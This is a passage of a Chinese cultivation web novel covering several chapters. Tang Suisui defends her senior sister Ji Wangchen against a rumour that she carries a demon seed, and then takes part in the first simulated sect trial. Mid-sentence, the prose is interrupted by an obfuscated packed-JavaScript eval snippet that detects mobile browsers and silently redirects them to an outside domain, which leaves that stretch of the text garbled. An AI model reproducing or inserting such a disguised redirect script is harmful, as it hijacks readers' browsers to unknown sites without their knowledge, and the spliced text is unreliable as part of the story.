从入门处一直走到最里的位置,唐澄澄对这些物件如数家珍。当她提起这些机械的时候,就像完全换了人一样,口齿伶俐,连嘴角都无意识地扬起自信的笑容。 汤穗穗看着对方眼睛里不自觉散发出来的光芒,脱口而出:“你真的很喜欢吧。” “……嗯,我真的很喜欢。”听到汤穗穗突然的问话,唐澄澄先是愣了一下,很快回神笑着应答。 面对同龄人,唐澄澄可以坦然地承认自己的内心。 不过她想了想,还是补充道,“不过我也不是不喜欢寻常的训练啦,我也知道师姐的意思。现在的我还太弱了,捣鼓这些机械反倒误了自己的进阶,这是很得不偿失的事情。” “说起来,我确实经常不自觉地就沉迷进去,耽误了很多训练,如果不是师姐督促,我的进度可能比现在更差。”唐澄澄不好意思地开口,说起师姐的时候声音也忍不住放柔,“其实我从来都不怪师姐,我真的很感激她每次的特训。师姐她是一个很好很好的人,所以我想给她做很多能够帮上她的道具,这样她这一路上也能够更轻松一些。” 唐澄澄是被家人遗弃在路边的,后来被成洱捡了回去,跟着她拜入了师门。她自知天赋不算很高,但她依旧希望能够在力所能及的地方帮助到师姐。 “我知道,我也是。”汤穗穗非常能够理解唐澄澄的情绪,她感觉对方句句说到自己的心坎上,握住对方的手猛猛点头,“我也是希望我能够尽快强大起来,成为师姐的助力!” 她们俩万万没想到,有朝一日还能找到知音。两人握着手,分别就自己师姐的诸多优点罗列了个遍,直呼相见恨晚。 关于师姐的话题两人越聊越起兴,唐澄澄都忘了分寸:“我真的觉得那些相信传言的人是傻子!” “所以传言是什么?” “就是诬陷忘尘师姐体内有魔种啊!”唐澄澄毫不设防,脱口而出。 出口的瞬间,她意识到自己的失言,看着对方瞬间变得煞白的脸色,用力地拍了下嘴,心中暗骂自己的多嘴。 “你说什么?!”汤穗穗感觉自己脑子好像被人锤击,“轰”地一声,霎时变得空白。她只看到唐澄澄的嘴在张合,可她完全都听不清对方在说什么。 “穗穗,你没事吧……”她小心翼翼地抬眼,观察汤穗穗脸上复杂的神情,皱着眉懊恼地说,“都怪我多嘴,我真的不是故意的,我是绝对相信忘尘师姐的。 ” 不过也是,汤穗穗又不在宗门里,怎么会知道这些传言呢? 师姐体内有魔种。 汤穗穗用手紧紧捏成拳,极力控制着自己保持清醒,在心里缓慢地重复着方才对方的那句话。 她没想到自己好奇了一路的传言居然是这样的内容。 汤穗穗听到内容的那一刻,忍不住气血上涌,心跳无意识地加快,脸也被气得通红。她只觉得十分讽刺,这分明是一眼杜撰的内容,居然真的有人会深信不疑,这下她明白蓝师姐为什么对这个传言这么不屑一顾。 作为修士,他们的就是为净化魔种而奔走在路上。倘若一个修士体内果真有魔种,二十年都未曾被发现,这是一件多么荒谬的事情? 就算再能隐藏,难道宗门里的师长们真的 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回来的路上,唐澄澄也听闻蓝师姐提起路上发生的事。她觉得穗穗一定是被路上遇到的蠢货气坏了,伸手握住对方绷紧得青筋崩起的拳头,义愤填膺地开口:“我当然相信啦!应该说,谁信这个传言谁才是傻子!忘尘师姐的能力我们有目共睹,抛开宗门比试不说,忘尘师姐完成的任务一直都是最多的。她只是不怎么在宗门里出现,不代表她就可以被人随意诋毁。” “谢谢你,澄澄。”汤穗穗觉得自己变得特别冷静,她勾起一个笑容,平静地开口,“我想我该走了。” 现在的汤穗穗有些像姬忘尘,面无表情地开口,试图掩盖自己的真实情绪。 “你真的没事吗?”唐澄澄担忧地开口,她能明显地觉察到面前人情绪不对劲。 “我没事的,”汤穗穗低头将自己的情绪收敛起来,再看向澄澄时已换上轻松的笑容,“我想回去找师姐,我想她现在一定很需要我。” 和唐澄澄告别之后,汤穗穗按着记忆的路线回到了自己的房间,没想到姬忘尘已经在房间里了。听到推门的声音,她下意识抬头看向来人,对上穗穗面无表情的一张脸。 这很不像她寻常的模样。 “怎么了?”姬忘尘和蓝鄞酣畅淋漓地进行了切磋,结果仍然是她略胜一筹。原本闷在心口的情绪也在两人的打斗中被冲散,她又恢复了寻常的状态。 “我知道了。”汤穗穗站在门口,面无表情地开口。 姬忘尘读懂了对方没头没尾的一句话,端水杯的的手顿住,下意识撇开眼神,不想从师妹的脸上找到厌恶或者质问的神情。她听着自己隆隆的心跳声,极力维持着平静开口:“嗯,是真的。” “果然。” 姬忘尘听到师妹怒气冲冲地开口,她下意识闭上眼,等待着对方的发难,没想到等来的却是对方温热的躯体。 “……穗穗?”姬忘尘被汤穗穗结结实实地抱在怀里,她僵直地坐着,不清楚对方这个举动的意图。 “果然蓝师姐说的没错,”汤穗穗松开环抱,蹲在姬忘尘的面前,拧着眉开口,“师姐你居然会相信这些虚无缥缈的传言,真是太好骗了!” “……我吗?”姬忘尘没想到有朝一日自己还能跟“好骗”扯上关系,这下连她都不确定所谓传言的真实性。那件事发生的时候她还很小,当时的记忆已经有些模糊,她现在忍不住心生疑虑。 她从来不敢跟长辈们提起这件事,虽然她们不止一次告诉她无需在意传言,只需要做好自己就够了,但她还是会对传言的内容耿耿于怀。 她一直以为,自己总会有面对入魔的那一天,可直到现在,她察觉不到任何征兆。与此同时,身旁所有人都在告诉她,这只是一个谎言。 她下意识将手放在丹田处调用灵气感受着,那里确实空无一物。她记不清当时发生的事情,只记得那个人癫狂的笑声。 可倘若,这一切只是那个人编造出来,想要动摇自己本心的谎言呢? “你……真的相信我?”姬忘尘心中的天平已经动摇,她回神看向面前稚嫩的少女,竟然渴望从对方的脸上得到一个答案。 “当然相信你啦!”汤穗穗将头放在师姐的腿上,闪着亮晶晶的眼睛,日光缀在她眼睛里像是明亮的星辰,“我怎么会不相信我的师姐?我最喜欢师姐你了!” “为什么会……”姬忘尘听到对方直白的言论忍不住热红,她不是很相信自己在对方心中有那么高的地位,“喜欢我?” “喜欢师姐,为什么需要理由?”汤穗穗理直气壮地反问,“师姐你人那么好,又那么强大,喜欢你不是理所当然的事情吗?” 26.出发 姬忘尘听到汤穗穗的回答,心口一颤,一股酸涩涌上鼻尖,但她很快将情绪压制住。 “我知道,因为我是你的师姐……”姬忘尘垂眸挡住眼中的真实情绪,轻声开口,“我比她们都强,我有价值。” “你果然没懂。”汤穗穗坚定地开口,“人不是靠‘价值’来衡量值不值得喜欢的,而是因为你本来就很好,被人喜欢是再正常不过的事情了。就算你明天一事无成、一无所有,我也同样喜欢你。” 汤穗穗本来是想在师姐面前夸夸师姐,没想到话音刚落的那瞬间,师姐的眼眶被泪水充盈,她感觉身旁的师姐浑身都颤抖着。 “师姐你怎么了?”汤穗穗握紧了她的手,着急地开口,“是我说错什么话了吗?” 这是汤穗穗认识师姐以来,第一次感受到她失态的模样。往日里的师姐连笑容都是淡淡的,可现在的她就像盛满水的杯子受到猛地撞击后,那些郁积于心的情感如同满溢的水全部倾洒出来。 姬忘尘本想开口说些什么,却因为强烈的情绪而哽咽着,单手挡着脸轻轻地摇头。她就这样坐在椅子上,紧紧地咬着下唇,几乎没有发出什么声音,却依旧有几声压不住的呜咽和吸气声漏了出来。她试图抬手用衣袖擦干脸上的眼泪,可泪水仍止不住地涌出来。 汤穗穗皱着眉、心疼地抬头望着师姐,两只手紧紧地握着师姐的手。看着师姐泪眼婆娑的模样,她感觉自己的胸口像被一只手狠狠地揪着,发出闷闷的钝痛。 但很快,姬忘尘伸手擦掉脸上的眼泪,暂时控制住自己的情绪。她有些难为情地别开脸,清了清嗓子:“……抱歉,吓到你了吗?” 虽然语气已经恢复往常的模样,但声音还带着哭腔,也变得有些哑。 “师姐,你完全不需要道歉的。”汤穗穗看着师姐哭泣过后变得通红的鼻头,回想起师姐方才的情绪崩溃,好像是因为她提到了“价值”,“所以师姐你一直以为,我们都是因为‘价值’而选择你?” “有价值才有留下的机会。”姬忘尘没有否认。在她观念里一直如此,不如说汤穗穗才是那个例外,“……穗穗,只有你是不同的。” 姬忘尘眨了眨眼睛,伸手将一直蹲在身边的汤穗穗扶起,按在旁边的椅子上。汹涌的情绪得到宣泄过后,姬忘尘难为情地咬了咬下唇。但她还是强迫自己抬头,直视着汤穗穗的眼睛,露出真心实意的笑容,认真地开口:“谢谢你愿意不计‘价值’地喜欢我,我很高兴。” “师姐……”汤穗穗和师姐对视着,她有很多话想说,但又不知道怎么开口。师姐的眼圈还是红红的,和寻常冷脸的状态截然不同,现在的师姐将寻常伪装的面具打碎,露出最真实的脆弱。 “这个传言……”姬忘尘吸了吸鼻子,将方才又一次翻涌起来的情绪压了下去,缓慢地开口,“是我刚入门的时候就有的。” 姬忘尘被秦无纪捡了上山之后,后者发现她的天赋极高。然而秦无纪并没有教导的经验,也就让她跟着同门的小师弟,让这位天赋极高的天才出面教导。但就在某一天,她在修炼心法的时候,毫无征兆地晕了过去。 等她再醒来的时候,就被告知体内存在魔种。 “如果真的有魔种的话,为什么宗门里的其他人都检测不出来?”汤穗穗反问,她觉得这个理由不合理,“……难道其他人都信了这样荒谬的言论?” “小师舅是当时宗门里天赋最高的人,不需要仪器就能感受到魔气的存在。”姬忘尘解释那人在宗门的地位,“后来小师舅提议将我尽早除掉,避免体内的魔种养成,以至危害世间。那时的宗主已是赵师姨,她……同意了。” “你别怪宗主,她要考虑到的远比我们多。”姬忘尘连忙按住面前愤怒的少女,心中的烦闷也卸去了一些,笑着将故事说完,“师傅当然不愿意,也因此和宗主决裂,带着我离开。……我想也因为我,所以造成了现在遗憾的结局。” “这分明与你无关!”汤穗穗不明白,为什么师姐老是要把不存在的因果归咎到自己身上。 “随着我们的离开,这条传言也就慢慢淡了。”姬忘尘笑着摇摇头,没有接话:“我在姚师舅和葛师姨——也就是那日的葛长老,在她们的帮助下,又回到了宗门旁听学习,协助一些宗门上的任务。也在那时和蓝鄞她们有了交集。那时的蓝鄞傲气得很,非得跟我比,但是又比不过我,回回都被成师姐调侃。” 说到这里的时候,姬忘尘的语气也有点轻松也有些怀念,那是她为数不多的快乐时刻。 但很快,一切都急转直下。 “小师舅入魔的那日,我正好也在。”姬忘尘垂眸,看着桌上的茶杯,她的声音不自觉地发颤,轻描淡写地开口,“他指着我,将传言……公之于众。” 姬忘尘直到现在都记得,明明站在烈日之下,她觉得自己如坠冰窟,不自觉地打了冷颤,全身冒出了冷汗。 小师舅出口的那一刻,她看到的对方癫狂的笑容,与此同时,她觉得所有人的目光都放在自己身上——或好奇、或鄙夷,甚至是……厌恶。 她都忘了自己是怎么逃下山,又是怎么回到秦无纪的身边。秦无纪看出了她的失魂落魄,下意识地关心她是不是路上出了什么变故。她本来想如实开口,但对上对方关切的眼神后,做出了邪恶的决定,自私地隐瞒小师舅死亡的事情,佯装一切无事。 手背上的温热拉回了姬忘尘的思绪,她看到汤穗穗将手盖住了她无意识握紧的拳头上。姬忘尘现在的心情已经平静下来,也更靠近她寻常以笑容伪装的模样:“我没事,都过去了。” 在刚刚之前,姬忘尘一直都笃信着小师舅的判断,因此不敢和旁人靠得太近,更不敢展现自己的一点点不足…… 她希望她展现的“价值”能远大于她身上所隐藏的危险,这样她就不会再一次放弃。 “那一定是真的吗?”汤穗穗打断姬忘尘的思路,一本正经地开口,“我不认识这个所谓‘师舅’。难道就因为他是师傅的师弟,一定是个好人吗?难道天赋高的人就一定不会骗人吗?为什么整件事清里,没有人怀疑过那个人在撒谎呢?” “……可是穗穗,他为什么要撒谎?那时的我,也不过六七岁而已。” “可是师姐,你也是天才。”汤穗穗想起师傅以前无意中的评价,“就不能是……他觉得你的存在会威胁他,从而给你捏造的事实吗?你也说了,除他以外,没有第二个人能佐证他的说法。” “这……” “从事实来看,他的话没有任何佐证,我甚至更相信那是他针对你编造的谎话。”汤穗穗顿了顿,坦然自己的内心不平等的衡量标准,“我不认识他,我也不了解他是一个什么样的人,所以我会对他进行很主观的恶意猜测。但是师姐,我认识你,我知道你是什么样的人,我会永远袒护你。” 有谁会不喜欢师姐呢? 师姐遇事冷静、待人温和、武艺强大,心地善良。那时在给猛虎除魔的时候,她看到师姐主动给村民提供银钱用作修缮费用;而现在,甚至会因为“看话本而忽略对方”这件事向自己道歉。 对于师姐,她还能一口气罗列数十条甚至数百条优点。 她怎么能不喜欢师姐呢? “师姐,不论有多少人因为传言而远离你,我永远会在你的身边。”汤穗穗握着师姐的手许诺,“我跟他们都不一样,如果有人敢诋毁你,我一定会冲在最前面把那些人都打趴下!” 姬忘尘愣愣地看着面前的少女,茫然地眨了眨眼睛,她好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473414|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天才认识小师妹。 她……或许不只是因为“有价值”而存在的。 真的有人会因为她这个人,而永远站在她的身边。 “……穗穗,我不需要你永远在我身边,”姬忘尘沉默了许久,刚刚才压下去的情绪又翻涌了起来,她伸手轻轻摸对方的脸,“我有你这句话我就足够了,你不需要为我做那么多。” 她看着面前汤穗穗的眼睛黑白分明,面容青涩稚嫩,也许有时候她会凭借直觉就横冲直撞,可正是如此,她就像一团燃烧的、炽热的火焰,能够将虚伪的谎言焚烧殆尽。倘若她拥有汤穗穗一半勇敢,或许她早就不被传言困扰。 姬忘尘抿了抿嘴,还是没控制住,晶莹的泪珠再一次从眼眶滚落,但她知道她是开心的,她很庆幸自己居然有这样的运气,遇到面前这位小师妹。 “不管是作为师姐,还是作为姬忘尘,”她忍不住轻轻摸索对方的脸颊,声音也有些颤抖,“……我只希望你开心,我只希望你能永远做自己。” “……不要像我这样懦弱,畏缩不前,被自己囚禁。” 汤穗穗没听明白姬忘尘最后的话语是什么意思,但那天之后姬忘尘又恢复了往常的模样。不过她还是觉得师姐有变化,至少也比往常更主动了一些。吓得蓝鄞师姐以为姬忘尘又被什么怪东西上身,于是趁机约上一场比试,当然最后的胜者依旧是师姐。 因为临近宗门大比,唐澄澄也不再鼓捣她那些机械,而是乖乖地跟着成洱师姐进行心法和武艺的特训。汤穗穗也因此被成师姐提溜过去,两个筑基期的一起学习。 汤穗穗跟着成师姐的口诀又打出一拳,看着成师姐粗壮的手臂,忍不住想象起来,会不会有一天她也能训练到这种程度呢? 她发散思维,将成师姐的脸换成自己的,而当自己以成师姐的模样站在师姐的旁边,她感觉简直就像一座山一样高大! ——倘若真是如此,她再也不怕那些人在师姐背后乱嚼舌根,或者乱传谣言,她直接以“山”的形态压下去,当那些人当一辈子的乌龟! “汤穗穗!” “哎!”汤穗穗猛然回神,对上了成师姐压抑着怒火的脸庞,她心中暗叫不好,忙望向身旁的唐澄澄,试图用眼神求救。但是唐澄澄眼神四处乱飘,从天上看到地上,就是不和她对视。 “在、想、什、么、呢?”成洱一字一顿地开口,她还以为汤穗穗是一个乖巧听话的,没想到居然是个稍不留意就游神的皮孩子。她叉着腰,拧着眉盯着她,她非得看看汤穗穗的小脑袋里装的都是什么。 汤穗穗没了辙,顶着成师姐的黑脸,如实地回答:“我在想怎么才能练成师姐您这样的身材……” “这可是你说的,”成洱不置可否,一本正经地开口,“那今天加训两个时辰。” “不要啊成师姐——”汤穗穗哀嚎着跳起来,扑过去挂在成师姐的身上,试图靠卖可怜让对方心软。 “师姐,穗穗她……”而一旁的唐澄澄也有些不忍心,她弱弱地开口求饶。 “你也要吗?”成师姐面无表情地将汤穗穗从自己身上“撕”下来,看着唐澄澄挑了挑眉。 “我觉得穗穗可以适应这种强度。”眼看火苗要烧到自己身上,唐澄澄连忙回绝,头摇得像小时候玩过的拨浪鼓,在心中默默祝汤穗穗好运。 别的训练还好说,师姐的特训那可是蓝师姐听到,都会马上找理由躲开的魔鬼程度。 哀嚎归哀嚎,汤穗穗还是也知道自己态度不端正,她老老实实地接受了加训。虽然成师姐的训练远比之前两位长辈要更严厉,但汤穗穗并没有喊苦喊累,反而更加勤奋地向成师姐请教。 她们在和成师姐紧急特训了几天后,宗门大比也正式开始。 27.合作愉快 寻常的酒家内,醉醺醺的莽汉摇摇晃晃地起身,跌跌撞撞走到柜台的掌柜面前,用力地一拍桌子:“喂,店家,我要的酱牛肉呢?” 敲击柜台发出的巨大声响让掌柜的不自觉缩了缩肩膀,脸上赔笑着拱手解释道:“抱歉这位客官,酱牛肉已经卖完,要不——” “哼,你怎么做生意的,连肉都不准备,等着关门吗?”莽汉可听不得那些说辞,出声打断,握紧成拳狠狠地在方才的位置一锤,又是一声沉闷的“咚”。 周围人纷纷朝他看去,有些人本想为店家说上几句。可那莽汉满脸横肉,脸上蓄起络腮胡,狠厉的眼神向四周扫去,还未开口皆被莽汉吓回去,面面相觑。 汤穗穗一行人正坐在角落的一张桌子,冷眼旁观这场闹剧。 这便是宗门比试的第一关,拟真试炼的场景。 拟真试炼由过去真实发生过的事情为蓝本,重新构筑的拟真境。拟真境里的所有感觉都是真实的,若在拟真境内死亡,将会被强制逐出试炼。 不同小组完成拟真试炼后,由长□□同商议,给出最终的分数。除此之外,每个人身上都会携带一块特制的回溯镜,离开拟真境后交回给长老们。长老们除了对小组进行综合的评分,还会根据每人身上的表现,在落败的小组中提供少量特殊名额。 本次报名的小组一共有二十一组,分为有三组不同的拟真试炼,各有七组被分到相同的试炼中。但拟真境内又会以不同的时间节点来划分,除非特别幸运的情况,还能碰巧遇上一组队友。 那边的闹剧还未停歇,唐澄澄缩在自家师姐的身边,姬忘尘则平静地扫视着客栈内的其他人,一边思考着下一步的对策,一边用手紧握汤穗穗避免她受到惊吓。 “说话!”莽汉打了一个酒嗝,怒视着店家,又锤了一下。心中还是不过瘾,伸手扯着掌柜的衣领提起来,怒目相对,“再不给我,明天我就让你这铺子关门,你信不信!” 看到莽汉仗着一身蛮力欺负店家,暴脾气的成洱一向忍不了,她刚想起身,就被身旁的蓝鄞按住,轻微地摇了摇头。 “哎哟这位客官,掌下留情掌下留情……”店家心疼地看着他掌下有些开裂地木板,皱巴着脸赔笑哄着对方:“实不相瞒,您来的不巧,小店的最后几盘卤牛肉,都被那桌道长要去了……” 莽汉顺着店家指示的方向看过去,一桌坐着五个人,背对着他们的是一个扎着高马尾,看起来有些瘦弱的女子。 “女人?”莽汉将店家随手扔下,又打出一个酒嗝。店家被莽汉往地上一扔,双腿一软跪在地上,揉着后腰“哎哟哎哟”地轻声叫唤,一旁的店小二见状立马上前搀扶。 莽汉摇摇晃晃地走到那人身旁,用力按上她的肩,想要把她扯起来,没想到对方竟然一动不动、安如磐石。同桌的几人按在自己的武器上,神色戒备地看向莽汉,而背对着的女子用眼神示意不必轻举妄动。 “不知这位大哥,有何贵干。”他掌下的人端起手中的碗将水一碗喝下,不紧不慢地开口。 虽然是疑问句,但她语气中轻慢的态度点起了莽汉的火气。 “肉是我的。”他上下打量着他们,一个个年纪轻轻,身上的料子也不是什么好货,动作也就更嚣张放肆,毫不客气地伸手就要将桌上的酱牛肉拿走。 本应是轻松的一件事情,背对着他的女子两指按着碟边,竟然让他根本抽不动菜碟。他不服气,伸出两只手一起扯,菜碟依旧纹丝不动。 “就凭你们几个也想跟爷爷我叫板?”莽汉佯装不在意地扔下菜碟,后退一步,脸上露出嚣张的笑容,狞笑道,“知道爷爷姓什么吗?!我再给你一个机会,否则的话,全把你们抓去关大牢!” “口气可真大!”成洱一点都忍不了,直接拍桌起身,“欺男霸女,算什么本事,也敢自称爷爷?” 还没等莽汉反应,成洱说话的同时,背身的女子一个手肘戳到莽汉腰间,起身扯过对方的手臂,利落将其甩到地上,发出一声沉闷的撞击声。莽汉整个人被压趴在地面上,女子一只脚毫不客气地踩在他的后背。 她随即拍了拍手上不存在的灰尘,抬头看成洱挑了挑眉:“何必跟这种人费话?” 汤穗穗看清女子的容貌,对方的年纪不算太大,只不过她的脸型偏幼,看起来比师姐要小上一些。 “你、你……”莽汉俯趴在地上,突然被摔在地上让他两眼发黑、头晕目眩,一时半会说不出完整的话来。即便如此,他仍不忘甩出狠话:“你们完了,我可是姓蓝的!你们惹了我,就等着在牢里呆一辈子吧!” 听着他娴熟地报上姓氏的方式,看来这招没少用。掌柜被店小二搀扶着,给面前这个恶霸说上好话:“道长,没必要和我等俗人计较……” 女子垂眸,避而不谈,上前的成洱本来就带着火气,狠狠地往他肚子踹了一脚,将手上的流星锤晃了晃:“你在这镇上横行乡里惯了,就真当自己是什么人物了吧?” 莽汉的余光看到晃动的流星锤,瞳孔一缩。 “蓝姓……很威风吗?”汤穗穗没有理解这句话的威胁性,不明所以地看向蓝鄞。 然而蓝鄞早已起身,走向面前那人,蹲下来用锋利长枪头拍了拍对方的脸,插在他的眼前,让他看着自己那副恶心的模样:“就是因为你们这些姓蓝的,才把世道搞得一团乱。” 醉汉和锋利的枪尖上惊恐的双眼对视,吓得咽了咽口水。他本来还在挣扎,现在一动都不敢动,生怕惹了枪主人一点不快,分分钟接过了自己的小命。 莽汉知道自己的家世是好用,往日里这招也屡试不爽,却没想到今天惹到的是三位修罗。 “蓝姓是旧朝王姓,就算是旁枝末节,对当地的影响依旧不容小觑。”唐澄澄听到了汤穗穗的问题,扯过她的衣袖,轻声解释。 “那蓝师姐……?” “我也不确定,没听她提起过。”唐澄澄摇摇头,她对蓝师姐的家世知之甚少。 两人讲小话的时候,原本嚣张的莽汉感觉自己像躺在砧板上的鱼,早被吓得魂飞魄散。 “姑、姑奶奶饶命、姑奶奶饶命……”莽汉本来就是欺软怕硬的主,如今被人踩在脚下,脸旁贴着枪尖,更是吓得酒都醒了,大话都不敢说一句,只敢求饶。 “啧,算了。”一开始的束发女子听到他求饶,瞬间没了趣味,这些人就是这样软骨头,半点都提不起兴致来。她收回腿坐到原先的长凳上,一只脚踩在上面,手搭着膝盖,抬了抬下巴,“喂,问你个事。” 蓝鄞和成洱对视一样,收起自己的家伙,候在一旁。束发女子余光轻扫她们一眼,没有开口。 “姑奶奶请讲,小的必定知无不言,言无不尽……”莽汉连跪带爬地起来,跪在对方面前,谄媚地开口。 莽汉本就肥胖,如今笑起来时,满脸肥肉堆在一起,让人只看一眼就觉得反胃。 “别这么看我。”束发女子看到谄媚的样子就恶心,翻了个白眼,“知道洄山怎么走吗?” 听到“洄山”一词,蓝鄞和成洱对视一眼,瞬间心中有数。再开始之前,负责试炼的长老们都对每个试炼的背景做出了简单的介绍,而她们这次面对的魔物正是在洄山附近。 蓝鄞刚想调动灵气探测面前那人,气流还没近身就被女子的眼刀扫过,戒备的视线上下打量她们。 “——洄山?!”面前的莽汉听到这个词更是神色大变,连连摆手,“姑奶奶,那可去不得,那可去不得。” “又不是你去。”女子收回视线,不耐烦地开口,“问你在哪里,没问你能不能去,快说!” 同队的另一个女子起身坐在她旁边,拍了拍她的肩,低声开口:“怒火伤肝。” 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女子扫视了一眼,挥了挥手示意到外面说话,避免客栈内人多眼杂。姬忘尘她们也跟上几人的脚步,来到了客栈之外。 几人来到客栈外不远的街巷口站定,女子将几人来意转述给队伍中人,队伍里的人彼此交换眼神,依旧戒备着没有开口,默不作声。 “我们的目的不都是一样的吗?”汤穗穗从师姐身后钻出来,眨巴着眼睛打破这场僵局,“我们应该可以合作吧?” “你是谁?”看到突然冒出来的小豆丁,为首的女子挑了挑眉,“筑基期……不怕死吗?” 她感受得到,面前的少女不过刚刚筑基,就敢接下这个任务——胆子未免也太大了。 “毕竟是历练嘛!”汤穗穗觉察出来对方没有恶意,脸上的笑容就放得更大了,随即将队伍里的其她人逐一介绍。 “幸会幸会,我是邓娇。”邓娇的视线在几人脸上梭巡,虽展开了笑颜,眼中却毫无笑意:“那……合作愉快?” “好耶!”汤穗穗非常自来熟地和邓娇搭上话:“还好有邓师姐你们在,我还以为这次的试炼只有我们队呢。” “哦,是吗?那可真是有够凑巧的。”邓娇似笑非笑地看向一旁的姬忘尘,“我们是不是见过?” “……应当是没有的,邓前辈。”姬忘尘罕见的正式作揖,汤穗穗也觉得自己不太礼貌,忙学着师姐也拱手做礼。 “不用整这些,放轻松。”邓娇心情颇好地挥挥手,原本只有五人的小队,现在扩大成了十人。不过她并不在乎这个队伍有多少少人,她根据刚才得知的消息往立石村走去,“你们有什么情报吗?” 在三位有经验的师姐和邓娇交换情报的时候,队尾的唐澄澄拉了拉汤穗穗的衣袖,将她扯到自己身边:“穗穗,你有没有觉得邓娇师姐……有点奇怪?” “嗯,奇怪?”汤穗穗不明所以,“你看到她身上有什么不对劲吗?难道她是魔物变的——” “不是不是,”唐澄澄打住汤穗穗的脑洞,“我觉得她很眼生,包括跟着她的这几位师长,我也好像从未见过。” 唐澄澄在山上呆的时间不算短,不说将所有人记住,但或多或少都会有些印象,唯独面前这几位师长很是陌生。 “而且她们腰间所别的回溯镜,好像更老旧一些……”唐澄澄对物件更敏感,零零总总的细节汇聚在一起,都让她有一股说不上来的感觉。 但她也是第一次参加宗门大比,不确定是不是自己多虑了。 “没事,我们一会去提醒师姐她们,”汤穗穗拍拍唐澄澄的肩膀,“如果真的有问题,师姐她们不会看不出来的,就放宽心吧。” 想到三位师姐,唐澄澄点点头,两人跟上大部队的步伐。 28.土地皲裂 前面几位师姐交换完情报之后,汤穗穗趁机跑到姬忘尘的身边,扯着对方衣袖,将方才唐澄澄的话语转述给师姐。 姬忘尘下意识看向唐澄澄的方向,她没想到对方竟然如此敏锐。 “……前辈她确实有些特殊,”姬忘尘想了想,说了些含糊的话语带过去,“但请放心,她对这次试炼并无威胁。” “两位师姐知道吗?”汤穗穗看得出来师姐明显知道真相,或许碍于某些不能明说的细则,她也没有往下追问。 “我会和她们说的。”姬忘尘看到她没有追问,微微松了口气。她伸手摸摸汤穗穗的额头,轻声询问:“你呢,有没有什么不适应的地方?” 汤穗穗乖巧地点点头,不知道为什么她总感觉胸口像堵了块棉花,呼吸不畅。 “我、觉得有点闷,不是很舒服。”汤穗穗靠近了师姐些许,没有隐瞒自己的状况,“这是正常的吗?” 姬忘尘立马抬手,将两根手指贴在汤穗穗的颈边,调用体内灵气传输过去:“附近的魔气比较浓。尝试调用灵气,或许能缓和些许。” 师姐的灵气就像清凉的山泉,钻进体内驱散了一股莫名的烦躁。汤穗穗按着师姐的提醒,调用体内的灵气,果然整个人感觉轻松了很多,连呼吸都畅通了不少。 汤穗穗想起和自己差不多修为的唐澄澄,马上转身跑向对方。询问过后,发现对方虽然情况比自己稍好一些,但也还是难受,她将师姐给的方法也教给对方。 前往立石村的道路并不难行,她们所行的道路还算宽敞,至少能四人并肩。然而与正常的环境不同,这一路上笼罩着一片死寂。道路两旁的树木枯萎,连随地可见的野草都枯黄濒死,头顶偶尔飞过几只瘦骨嶙峋的飞鸟。 不多时,一行人顺利地来到立石村,门口书写着“立石村”的牌子被扔在一边,两旁的道路更是寸草不生,土地表面皲裂得厉害。姬忘尘调动灵气观察,这里被魔气侵蚀得十分严重,连土地都被浅浅的紫气笼罩,给人感觉十分不详。 成洱在队伍的最前面和探路的人正说些什么,汤穗穗本来和唐澄澄走在队伍的中间位置,忽然一股难言的气息将她笼罩,压得她几乎喘不过气来。出于求生本能,她挤开人群弯着腰快步来到师姐的身边,紧紧地贴着对方。 姬忘尘低头看到她煞白的脸色,皱着眉紧张地握着她的手腕,将灵气传到她的身体里,缓解浓郁魔气带来的不适感:“穗穗?” “坏了,澄澄!”被师姐灵气拯救的汤穗穗瞬间清醒,她还担心着唐澄澄,马上回头朝对方看过去。 只见唐澄澄的脸涨得通红,连耳朵都染成了绯红色,她的手腕正被蓝鄞紧紧地抓着,向汤穗穗投来求助的眼神。 蓝鄞抬头对上汤穗穗的眼神,顺着她转头看向身边人,慌张地眨着眼睛,弯下腰伸手摸了摸她的脸:“还是不舒服吗?……难道我的灵气没传到你身上吗?” 蓝鄞从来没有处理过这样的状况,看着姬忘尘照猫画虎,也不确定身边的人有没有好些。 说话间,手上的力度不自觉加重了些。 “不是的不是的……”唐澄澄伸出另一只没有被拉着的手贴在自己脸上,只觉得自己的脸上不断发烫,她有些不好意思地开口:“师姐你握着我的手腕有点疼……” “哦哦,抱歉……”蓝鄞知道唐澄澄没什么事也松了口气,不自在地卸了手上的力度,尴尬得视线随处乱飘,“现在呢?” “……好多了,谢谢蓝师姐。” “……嗯。”蓝鄞虽然看起来云淡风轻,但实际上恨不得随地找个洞钻进去。她本想着做好人好事,给唐澄澄减缓魔气的侵蚀,没想到灵气是传过去了,手上的力度一点都没注意。 “你们师姐妹关系还挺好。”邓娇收回看戏的眼光,瞥向姬忘尘,不经意地开口,“只是刚筑基就敢来,不知道该说你们胆子大,还是该说你们来送死呢?” 姬忘尘还没有回答,恢复了精神又变得活蹦乱跳的汤穗穗倒是先插话:“历练嘛,就是要不断向上挑战!” “更何况,我有那么厉害的师姐在身边,我又有什么害怕的呢?”生怕对方看不出来她们师姐妹之间的关系,汤穗穗又抬着下巴,骄傲地补充道:“不过可惜了,这是我的师姐。” “我才不稀罕呢,说得好像谁没有师姐一样。”邓娇伸手一推汤穗穗的额头,挑眉看向队伍里的好友宋璋,“你说对吧?” 宋璋就是那时在就酒家轻拍邓娇肩膀的女子。 宋璋知道自己好友有时候幼稚的脾气,无奈地扶额低语:“……有师姐这件事究竟哪里值得炫耀了?” 不过也是,要是自己有两个贴心的师姐,说不定也会像她和面前这个小姑娘一样,忍不住到处炫耀的。 “好啦,别说小话了,先干正事!”在最前面的成洱打声招呼着队尾讲着闲话的几人,“分头行动,最好再给大家伙找块歇脚的地方。” 众人闻言,简单商量了方向之后各自散开,调查结束后回到村口集合。除了汤穗穗和唐澄澄跟着两位师姐以外,其余都是一人去往不同的方向调查。 